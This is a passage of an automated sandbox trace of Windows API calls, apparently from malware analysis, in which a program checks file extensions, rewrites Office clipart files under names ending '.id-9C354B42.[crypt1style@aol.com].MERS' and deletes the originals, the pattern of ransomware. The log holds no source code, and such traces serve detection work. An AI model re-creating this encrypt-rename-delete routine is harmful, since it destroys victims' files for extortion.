lpString2=".GIF") returned -1 [0265.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.997] lstrlenW (lpString=".1cd") returned 4 [0265.997] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.997] lstrlenW (lpString=".jpg") returned 4 [0265.997] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.997] lstrlenW (lpString=".doc") returned 4 [0265.997] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.997] lstrlenW (lpString=".docx") returned 5 [0265.997] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.997] lstrlenW (lpString=".pdf") returned 4 [0265.997] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.997] lstrlenW (lpString=".xls") returned 4 [0265.997] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.997] lstrlenW (lpString=".xlsx") returned 5 [0265.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.997] lstrlenW (lpString=".ppt") returned 4 [0265.998] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.998] lstrlenW (lpString=".zip") returned 4 [0265.998] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.998] lstrlenW (lpString=".rar") returned 4 [0265.998] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.998] lstrlenW (lpString=".bz2") returned 4 [0265.998] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.998] lstrlenW (lpString=".7z") returned 3 [0265.998] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.998] lstrlenW (lpString=".dbf") returned 4 [0265.998] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.998] lstrlenW (lpString=".1cd") returned 4 [0265.998] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.998] lstrlenW (lpString=".jpg") returned 4 [0265.998] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.998] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0265.998] lstrlenW (lpString="AG00157_.GIF") returned 12 [0265.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0265.998] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=4955) returned 1 [0265.999] CloseHandle (hObject=0x3c0) returned 1 [0265.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0265.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0265.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0265.999] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0265.999] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0265.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0265.999] GetLastError () returned 0x0 [0265.999] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x135b, lpOverlapped=0x0) returned 1 [0266.067] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1360, lpOverlapped=0x0) returned 1 [0266.068] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0266.068] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.068] SetEndOfFile (hFile=0x3d0) returned 1 [0266.085] CloseHandle (hObject=0x3d0) returned 1 [0266.085] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.085] SetEndOfFile (hFile=0x3c0) returned 1 [0266.087] CloseHandle (hObject=0x3c0) returned 1 [0266.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0266.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.087] lstrlenW (lpString=".doc") returned 4 [0266.087] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.087] lstrlenW (lpString=".docx") returned 5 [0266.087] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.087] lstrlenW (lpString=".pdf") returned 4 [0266.087] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.087] lstrlenW (lpString=".xls") returned 4 [0266.087] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.087] lstrlenW (lpString=".xlsx") returned 5 [0266.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.087] lstrlenW (lpString=".ppt") returned 4 [0266.087] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.087] lstrlenW (lpString=".zip") returned 4 [0266.087] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.087] lstrlenW (lpString=".rar") returned 4 [0266.087] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.087] lstrlenW (lpString=".bz2") returned 4 [0266.087] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.088] lstrlenW (lpString=".7z") returned 3 [0266.088] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.088] lstrlenW (lpString=".dbf") returned 4 [0266.088] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.088] lstrlenW (lpString=".1cd") returned 4 [0266.088] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.088] lstrlenW (lpString=".jpg") returned 4 [0266.088] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.088] lstrlenW (lpString=".doc") returned 4 [0266.088] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.088] lstrlenW (lpString=".docx") returned 5 [0266.088] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.088] lstrlenW (lpString=".pdf") returned 4 [0266.088] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.088] lstrlenW (lpString=".xls") returned 4 [0266.088] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.088] lstrlenW (lpString=".xlsx") returned 5 [0266.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.088] lstrlenW (lpString=".ppt") returned 4 [0266.088] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.088] lstrlenW (lpString=".zip") returned 4 [0266.088] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.088] lstrlenW (lpString=".rar") returned 4 [0266.088] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.088] lstrlenW (lpString=".bz2") returned 4 [0266.088] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.088] lstrlenW (lpString=".7z") returned 3 [0266.088] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.089] lstrlenW (lpString=".dbf") returned 4 [0266.089] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.089] lstrlenW (lpString=".1cd") returned 4 [0266.089] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0266.089] lstrlenW (lpString=".jpg") returned 4 [0266.089] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.089] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.089] lstrlenW (lpString="AG00164_.GIF") returned 12 [0266.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0266.101] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=13254) returned 1 [0266.101] CloseHandle (hObject=0x3b4) returned 1 [0266.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0266.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0266.747] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.748] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0266.750] GetLastError () returned 0x0 [0266.750] ReadFile (in: hFile=0x3b8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x33c6, lpOverlapped=0x0) returned 1 [0266.850] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0266.851] ReadFile (in: hFile=0x3b8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0266.851] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.851] SetEndOfFile (hFile=0x2d8) returned 1 [0266.856] CloseHandle (hObject=0x2d8) returned 1 [0266.856] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.856] SetEndOfFile (hFile=0x3b8) returned 1 [0266.858] CloseHandle (hObject=0x3b8) returned 1 [0266.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0266.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.879] lstrlenW (lpString=".doc") returned 4 [0266.879] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.879] lstrlenW (lpString=".docx") returned 5 [0266.879] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.879] lstrlenW (lpString=".pdf") returned 4 [0266.879] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.879] lstrlenW (lpString=".xls") returned 4 [0266.879] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.879] lstrlenW (lpString=".xlsx") returned 5 [0266.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.879] lstrlenW (lpString=".ppt") returned 4 [0266.879] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.879] lstrlenW (lpString=".zip") returned 4 [0266.879] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.879] lstrlenW (lpString=".rar") returned 4 [0266.879] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.879] lstrlenW (lpString=".bz2") returned 4 [0266.879] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.879] lstrlenW (lpString=".7z") returned 3 [0266.879] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.879] lstrlenW (lpString=".dbf") returned 4 [0266.879] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.879] lstrlenW (lpString=".1cd") returned 4 [0266.879] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.879] lstrlenW (lpString=".jpg") returned 4 [0266.879] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.880] lstrlenW (lpString=".doc") returned 4 [0266.880] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.880] lstrlenW (lpString=".docx") returned 5 [0266.880] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.880] lstrlenW (lpString=".pdf") returned 4 [0266.880] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.880] lstrlenW (lpString=".xls") returned 4 [0266.880] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.880] lstrlenW (lpString=".xlsx") returned 5 [0266.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.880] lstrlenW (lpString=".ppt") returned 4 [0266.880] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.880] lstrlenW (lpString=".zip") returned 4 [0266.880] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.880] lstrlenW (lpString=".rar") returned 4 [0266.880] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.880] lstrlenW (lpString=".bz2") returned 4 [0266.880] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.880] lstrlenW (lpString=".7z") returned 3 [0266.880] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.880] lstrlenW (lpString=".dbf") returned 4 [0266.880] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.880] lstrlenW (lpString=".1cd") returned 4 [0266.880] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0266.880] lstrlenW (lpString=".jpg") returned 4 [0266.880] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.880] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.881] lstrlenW (lpString="AG00170_.GIF") returned 12 [0266.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0266.881] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=9248) returned 1 [0266.881] CloseHandle (hObject=0x3a8) returned 1 [0266.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0266.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0266.881] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.881] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0266.882] GetLastError () returned 0x0 [0266.882] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x2420, lpOverlapped=0x0) returned 1 [0266.953] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x2430, lpOverlapped=0x0) returned 1 [0266.954] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0266.954] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.954] SetEndOfFile (hFile=0x2dc) returned 1 [0266.954] CloseHandle (hObject=0x2dc) returned 1 [0266.954] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.954] SetEndOfFile (hFile=0x3a8) returned 1 [0266.956] CloseHandle (hObject=0x3a8) returned 1 [0266.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0266.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.956] lstrlenW (lpString=".doc") returned 4 [0266.957] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.957] lstrlenW (lpString=".docx") returned 5 [0266.957] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.957] lstrlenW (lpString=".pdf") returned 4 [0266.957] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.957] lstrlenW (lpString=".xls") returned 4 [0266.957] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.957] lstrlenW (lpString=".xlsx") returned 5 [0266.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.957] lstrlenW (lpString=".ppt") returned 4 [0266.957] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.957] lstrlenW (lpString=".zip") returned 4 [0266.957] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.957] lstrlenW (lpString=".rar") returned 4 [0266.957] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.957] lstrlenW (lpString=".bz2") returned 4 [0266.957] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.957] lstrlenW (lpString=".7z") returned 3 [0266.957] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.957] lstrlenW (lpString=".dbf") returned 4 [0266.957] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.957] lstrlenW (lpString=".1cd") returned 4 [0266.957] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.957] lstrlenW (lpString=".jpg") returned 4 [0266.957] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.957] lstrlenW 